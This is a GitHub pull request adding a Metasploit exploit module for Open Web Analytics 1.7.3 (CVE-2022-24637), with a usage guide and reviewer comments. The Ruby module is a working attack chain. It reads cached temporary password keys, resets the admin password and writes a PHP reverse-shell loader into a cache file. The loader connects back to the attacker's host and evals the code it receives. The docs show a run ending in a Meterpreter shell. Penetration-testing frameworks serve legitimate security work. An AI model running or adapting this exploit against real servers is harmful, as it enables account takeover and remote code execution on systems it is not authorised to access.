Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open web analytics 1.7.3 remote code execution #17754

Merged
Show file tree
Hide file tree
Changes from 9 commits
Commits
Show all changes
46 commits
Select commit Hold shift + click to select a range
b37be28
Working module open web analytics 1.7.3 rce
Pflegusch Mar 8, 2023
76b05a7
Change DisclosureDate according to nvd.nist.gov
Pflegusch Mar 8, 2023
7068d4c
remove LPORT, RPORT and SSL from DefaultOptions
Pflegusch Mar 9, 2023
f0dbf54
use fail_with in get_cache_content function
Pflegusch Mar 9, 2023
d59175a
make it work for https and http and remove the tmp self signed cert b…
Pflegusch Mar 9, 2023
7b0a54b
Add the documentation for the module
Pflegusch Mar 9, 2023
3847c41
Small changes to the open_web_analytics_rce documentation
Pflegusch Mar 9, 2023
ae7ca16
Use the same IP as in the example
Pflegusch Mar 9, 2023
14b5c08
Fix the double slash in the shell url
Pflegusch Mar 9, 2023
ee95eb2
fix typo: establish_connection
Pflegusch Mar 9, 2023
94ceeb0
Redirect is not necessary - replace with simple send_request_cgi request
Pflegusch Mar 9, 2023
2de5371
Use Rex::Version for version comparison
Pflegusch Mar 9, 2023
614f4b6
Make installation path of owa configurable
Pflegusch Mar 9, 2023
8518563
Use single back ticks and 3 instead of 4 at the end
Pflegusch Mar 9, 2023
69839d1
Remove get_proxy_protocol function
Pflegusch Mar 9, 2023
e66fd8f
Use rand_text_alphanumeric function
Pflegusch Mar 9, 2023
38511f4
Rename establish_connection function
Pflegusch Mar 9, 2023
3f7f28d
make use of full_uri and change regex
Pflegusch Mar 11, 2023
94e9504
Use metasploit payload instead of hardcoded one
Pflegusch Mar 11, 2023
ddd594a
Update example in docs for latest code changes
Pflegusch Mar 11, 2023
3196a52
fix msftidy_docs.rb issues
Pflegusch Mar 14, 2023
cc4e455
Remove directory datastore option and make username and password requ…
Pflegusch Mar 14, 2023
3113149
Remove base64 requirement
Pflegusch Mar 14, 2023
ac6e947
use Failure::Unreachable and use unless instead of if/else
Pflegusch Mar 14, 2023
9e64f02
Use default values in option declaration instead of DefaultOptions
Pflegusch Mar 14, 2023
cfaad7f
prepend AutoCheck
Pflegusch Mar 14, 2023
c0ee250
Add some more URL references
Pflegusch Mar 14, 2023
2ce3aee
Add CONFIG_CHANGES to the side effects
Pflegusch Mar 14, 2023
dff139d
remove fail_with in check_connection as suggested
Pflegusch Mar 14, 2023
8db10af
check if res is not nil in addition to res.code
Pflegusch Mar 14, 2023
887551b
Use UnexptectedReply instead of Unknown
Pflegusch Mar 14, 2023
e160e51
Fix typos, update docs with advanced option SearchLimit, implement Se…
Pflegusch Mar 14, 2023
86f4a16
Check if cache_request is not nil
Pflegusch Mar 14, 2023
2310b0d
Use Failure::NotFound when no valid cache file is found
Pflegusch Mar 14, 2023
897aaf9
Use Failure::UnexpectedReply when password cant be changed
Pflegusch Mar 14, 2023
d72d47e
Update Failure Codes and check for nil in the helper functions
Pflegusch Mar 14, 2023
bb9e214
Fix line too long in open_web_analytics_rce docs
Pflegusch Mar 14, 2023
103def7
More detailed error message for failed regex match
Pflegusch Mar 14, 2023
0cbebc8
Remove malicious .php file at the end of the exploit
Pflegusch Mar 15, 2023
ee0334d
since file got deleted, one can not trigger the payload anymore by op…
Pflegusch Mar 15, 2023
cea8aa8
Update open_web_analytics_rce.md to work with latest code changes
Pflegusch Mar 15, 2023
3bf60a5
Fix typo
Pflegusch Mar 15, 2023
d06e2d9
Remove nvd url
Pflegusch Mar 15, 2023
ac72c12
Set timeout of 1s to make session available much quicker
Pflegusch Mar 15, 2023
027793c
Remove unused variable res in check_connection
Pflegusch Mar 15, 2023
3baa894
Add DefangedMode to warn the user
Pflegusch Mar 16, 2023
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
64 changes: 64 additions & 0 deletions documentation/modules/exploit/multi/http/open_web_analytics_rce.md
@@ -0,0 +1,64 @@
## Vulnerable Application
Pflegusch marked this conversation as resolved.
Show resolved Hide resolved

Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated remote attacker to obtain sensitive user information, which can be used to gain admin privileges by leveraging cache hashes. This occurs because files generated with '<?php (instead of the intended "<?php sequence) aren't handled by the PHP interpreter.

## Verification Steps
cdelafuente-r7 marked this conversation as resolved.
Show resolved Hide resolved

1. Start a vulnerable instance of OWA using docker
- Download https://github.com/Pflegusch/CVE-2022-24637/blob/main/deployment/docker-compose.yml
- Start the containers: ``docker compose up -d``
- Open http://127.0.0.1:80/
- Follow installation steps using the envs from the ``docker-compose.yml`` file
- Public URL: ``http://127.0.0.1/``
- Database Host (``docker inspect <db-container>`` and get ``IPAddress``, e.g ``172.22.0.2``)
- Database Port: ``3306``
- Database Name: ``owa``
- Database User: ``owa``
- Database Password: ``Demo12+#``
- Continue
- Site Domain: ``http://127.0.0.1``
- Admin name: ``admin``
- E-Mail: ``admin@admin.com``
- Password: ``Demo12+#``
- Continue

2. Start ``msfconsole``
3. ``use exploit/multi/http/open_web_analytics_rce``
4. ``set RHOSTS 127.0.0.1``
5. ``set RPORT 80``
6. ``set SSL false``
7. ``set LHOST 172.22.0.1`` -> this needs to be bridge IP that got created with the ``docker compose up -d`` command
8. ``check``
9. ``run``

````
msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > set RPORT 80
RPORT => 80
msf6 exploit(multi/http/open_web_analytics_rce) > set SSL false
SSL => false
msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1
LHOST => 172.22.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > check
[+] 127.0.0.1:80 - The target is vulnerable.
msf6 exploit(multi/http/open_web_analytics_rce) > run

[*] Started reverse TCP handler on 172.22.0.1:4444
[+] Connected to http://127.0.0.1:80/ successfully!
[*] Attempting to find cache of 'admin' user
[+] Found temporary password for user 'admin': b42f457df9d9482324ca8fe041f19f1c
[+] Changed the password of 'admin' to 'pwned'
[+] Logged in as admin user
[*] Creating log file
[+] Wrote payload to file
[*] Sending stage (39927 bytes) to 172.22.0.3
[*] Meterpreter session 3 opened (172.22.0.1:4444 -> 172.22.0.3:47728) at 2023-03-09 13:55:58 +0100
[+] Triggering payload! Check your listener!
[*] You can trigger the payload again at 'http://127.0.0.1:80/owa-data/caches/ERaG8bho.php

meterpreter > pwd
/var/www/html/owa-data/caches
meterpreter > getuid
Server username: www-data
````
295 changes: 295 additions & 0 deletions modules/exploits/multi/http/open_web_analytics_rce.rb
@@ -0,0 +1,295 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
cdelafuente-r7 marked this conversation as resolved.
Show resolved Hide resolved
require 'base64'
cdelafuente-r7 marked this conversation as resolved.
Show resolved Hide resolved

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Open Web Analytics 1.7.3 - Remote Code Execution (RCE)',
'Description' => %q{
Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated remote attacker to obtain sensitive
user information, which can be used to gain admin privileges by leveraging cache hashes.
This occurs because files generated with '<?php (instead of the intended "<?php sequence) aren't handled
by the PHP interpreter.
},
'Author' => [
'Jacob Ebben', # ExploitDB Exploit Author
'Dennis Pfleger' # Msf Module
],
'References' => [
[ 'CVE', '2022-24637'],
[ 'EDB', '51026']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It might be a good idea to also reference the original write up: https://devel0pment.de/?p=2494

Suggested change
[ 'EDB', '51026']
[ 'EDB', '51026' ],
[ 'URL', 'https://devel0pment.de/?p=2494' ]

],
'Licence' => MSF_LICENSE,
'Platform' => ['php'],
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'Username' => 'admin',
'Password' => 'pwned'
},
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => '2022-03-18',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
ARTIFACTS_ON_DISK, # /owa-data/caches/{get_random_string(8)}.php
IOC_IN_LOGS, # Malicious GET/POST requests in the webservice logs
ACCOUNT_LOCKOUTS, # Account passwords will be changed in this module
cdelafuente-r7 marked this conversation as resolved.
Show resolved Hide resolved
]
}
)
)

register_options([
OptString.new('Username', [ false, 'Target username (Default: admin)']),
OptString.new('Password', [ false, 'Target new password (Default: pwned)']),
])
end

def check
res = etablish_connection

if !res.body.include?('Open Web Analytics')
Exploit::CheckCode::Unknown
elsif !res.body.include?('version=1.7.3')
Exploit::CheckCode::Detected
else
Exploit::CheckCode::Vulnerable
end
end
Pflegusch marked this conversation as resolved.
Show resolved Hide resolved

def exploit
base_url = get_normalized_url(datastore['RHOSTS'])
Pflegusch marked this conversation as resolved.
Show resolved Hide resolved
username = datastore['Username']
new_password = datastore['Password']
cdelafuente-r7 marked this conversation as resolved.
Show resolved Hide resolved

reverse_shell = "/*<?php /**/ error_reporting(0); $ip = '#{datastore['LHOST']}'; $port = #{datastore['LPORT']}; \
Pflegusch marked this conversation as resolved.
Show resolved Hide resolved
if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f(\"tcp://{$ip}:{$port}\"); $s_type = 'stream'; } \
if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if \
(!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); \
$res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) \
{ die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); \
break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack(\"Nlen\", $len); \
$len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); \
break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; \
$GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) \
{ $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();?>"

shell_filename = "#{get_random_string(8)}.php"
shell_url = "#{base_url}owa-data/caches/#{shell_filename}"

res = etablish_connection
if res
print_good("Connected to #{base_url} successfully!")
end

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.loginForm'),
'keep_cookies' => true,
'vars_post' => {
'owa_user_id' => username,
'owa_password' => get_random_string(8),
'owa_action' => 'base.login'
}
)
if res.code != 200
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The return value of send_request_cgi should always be checked since it can be nil. Calling res.code will break here if res is nil.

fail_with(Failure::Unknown, 'An error occured during the login attempt!')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The failure reason should be UnexpectedReply in this case. Also, there is a little typo occured -> occurred.

Suggested change
fail_with(Failure::Unknown, 'An error occured during the login attempt!')
fail_with(Failure::UnexpectedReply, 'An error occurred during the login attempt!')

end

print_status("Attempting to find cache of '#{username}' user")

found = false
cache = nil
100.times do |key|
cdelafuente-r7 marked this conversation as resolved.
Show resolved Hide resolved
user_id = "user_id#{key}"
userid_hash = Digest::MD5.hexdigest(user_id)
filename = "#{userid_hash}.php"
cache_request = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/owa-data/caches/#{key}/owa_user/#{filename}")
)
if cache_request.code == 404
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same comment, the code should check if cache_request is nil before calling cache_request.code.

Note this comment is also valid for any value returned by send_request_cgi in the code.

next
end

cache_raw = cache_request.body
cache = get_cache_content(cache_raw)
cache_username = get_cache_username(cache)
if cache_username != username
print_message("The temporary password for a different user was found. \"#{cache_username}\": #{get_cache_temppass(cache)}", 'INFO')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I cannot find where print_message is defined. Do you mean using print_status, vprint_status, print_good or vprint_good?

next
else
found = true
break
end
end

if !found
fail_with(Failure::Unknown, "No cache found. Are you sure \"#{username}\" is a valid user?")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
fail_with(Failure::Unknown, "No cache found. Are you sure \"#{username}\" is a valid user?")
fail_with(Failure::NotFound, "No cache found. Are you sure \"#{username}\" is a valid user?")

end

cache_temppass = get_cache_temppass(cache)
cdelafuente-r7 marked this conversation as resolved.
Show resolved Hide resolved
print_good("Found temporary password for user '#{username}': #{cache_temppass}")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.usersPasswordEntry'),
'keep_cookies' => true,
'vars_post' => {
'owa_password' => new_password,
'owa_password2' => new_password,
'owa_k' => cache_temppass,
'owa_action' => 'base.usersChangePassword'
}
)

if res.code != 302
fail_with(Failure::Unknown, 'An error occurred when changing the user password!')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
fail_with(Failure::Unknown, 'An error occurred when changing the user password!')
fail_with(Failure::UnexpectedReply, 'An error occurred when changing the user password!')

end
print_good("Changed the password of '#{username}' to '#{new_password}'")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.loginForm'),
'keep_cookies' => true,
'vars_post' => {
'owa_user_id' => username,
'owa_password' => new_password,
'owa_action' => 'base.login'
}
)

redirect = res['location']
res = send_request_cgi(
'method' => 'GET',
'uri' => URI(redirect).path
)
if res && res.code == 200
print_good("Logged in as #{username} user")
else
fail_with(Failure::Unknown, "An error occurred during the login attempt of user #{username}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
fail_with(Failure::Unknown, "An error occurred during the login attempt of user #{username}")
fail_with(Failure::UnexpectedReply, "An error occurred during the login attempt of user #{username}")

end

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.optionsGeneral')
)

nonce = get_update_nonce(res)
log_location = '/var/www/html/owa-data/caches/' + shell_filename
Pflegusch marked this conversation as resolved.
Show resolved Hide resolved
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.optionsGeneral'),
'keep_cookies' => true,
'vars_post' => {
'owa_nonce' => nonce,
'owa_action' => 'base.optionsUpdate',
'owa_config[base.error_log_file]' => log_location,
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there a way to backup the original value?

If so, you can add the logic to restore config values to the cleanup method, which will be automatically called when the exploit terminates. Here is an example.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I will try to find a way to retrieve the original value, but after giving it a first shot earlier I don't think that will be possible.

'owa_config[base.error_log_level]' => 2
}
)
if !res
fail_with(Failure::Unknown, 'An error occurred when attempting to update config!')
else
print_status('Creating log file')
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
if !res
fail_with(Failure::Unknown, 'An error occurred when attempting to update config!')
else
print_status('Creating log file')
end
fail_with(Failure::Unreachable, 'An error occurred when attempting to update config!') unless res
print_status('Creating log file')

Also, should the HTTP response code be checked to make sure it was successful?


res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.optionsGeneral'),
'keep_cookies' => true,
'vars_post' => {
'owa_nonce' => nonce,
'owa_action' => 'base.optionsUpdate',
'owa_config[shell]' => reverse_shell
}
)
if !res
fail_with(Failure::Unknown, 'An error occurred when attempting to update config!')
else
print_good('Wrote payload to file')
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
if !res
fail_with(Failure::Unknown, 'An error occurred when attempting to update config!')
else
print_good('Wrote payload to file')
end
fail_with(Failure::Unknown, 'An error occurred when attempting to update config!') unless res
print_good('Wrote payload to file')

Same question about the HTTP response code.


send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/owa-data/caches/#{shell_filename}")
cdelafuente-r7 marked this conversation as resolved.
Show resolved Hide resolved
)

print_good('Triggering payload! Check your listener!')
print_status("You can trigger the payload again at '#{shell_url}")
end

def etablish_connection
Pflegusch marked this conversation as resolved.
Show resolved Hide resolved
url = get_normalized_url(datastore['RHOSTS'])
base_url = url
res = nil
loop do
res = Net::HTTP.get_response(URI.parse(url))
Pflegusch marked this conversation as resolved.
Show resolved Hide resolved
url = res['location']
break unless res.is_a?(Net::HTTPRedirection)
end
if !res
fail_with(Failure::Unknown, "Could not connect to #{base_url}")
else
res
end
end

def get_normalized_url(url)
url += ":#{datastore['RPORT']}/"
if datastore['SSL']
url = "https://#{url}"
else
url = "http://#{url}"
end
url
end
Pflegusch marked this conversation as resolved.
Show resolved Hide resolved

def get_proxy_protocol(url)
Pflegusch marked this conversation as resolved.
Show resolved Hide resolved
url.start_with?('https://') ? 'https' : 'http'
end

def get_random_string(length)
chars = ('a'..'z').to_a + ('A'..'Z').to_a + (0..9).to_a
length.times.map { chars.sample }.join
end
Pflegusch marked this conversation as resolved.
Show resolved Hide resolved

def get_cache_content(cache_raw)
regex_cache_base64 = /\*(\w*)/
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If the = are included in this string, they're not getting matched by the \w. You could change that so they are included, removing the need to calculate and add them yourself on L273-L274 by changing the regex to:

/\*(\w*={0,2})/

The \w should also be updated to include the additional characters that base64 can include in the encoding such as + and / depending on the character set/flavor.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Great catch! I updated the regex to your suggestion.

regex_result = cache_raw.match(regex_cache_base64)

unless regex_result
fail_with(Failure::Unknown, 'The provided URL does not appear to be vulnerable!')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If we can conclude it is not vulnerable here, the failure reason should be NotVulnerable.

end

cache_base64 = regex_result[1]

b64_string = cache_base64
b64_string += '=' * ((4 - cache_base64.length % 4) % 4)

cache_base64 = b64_string

Base64.decode64(cache_base64).force_encoding('ascii')
end

def get_cache_username(cache)
match = cache.match(/"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"(\w*)"/)
match[1]
cdelafuente-r7 marked this conversation as resolved.
Show resolved Hide resolved
end

def get_cache_temppass(cache)
match = cache.match(/"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"(\w*)"/)
match[1]
cdelafuente-r7 marked this conversation as resolved.
Show resolved Hide resolved
end

def get_update_nonce(page)
update_nonce = page.body.match(/owa_nonce" value="(\w*)"/)[1]
update_nonce
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same here, match can return nil and calling [1] could break. Also, it looks like the local variable update_nonce is not necessary and can be removed.

end
end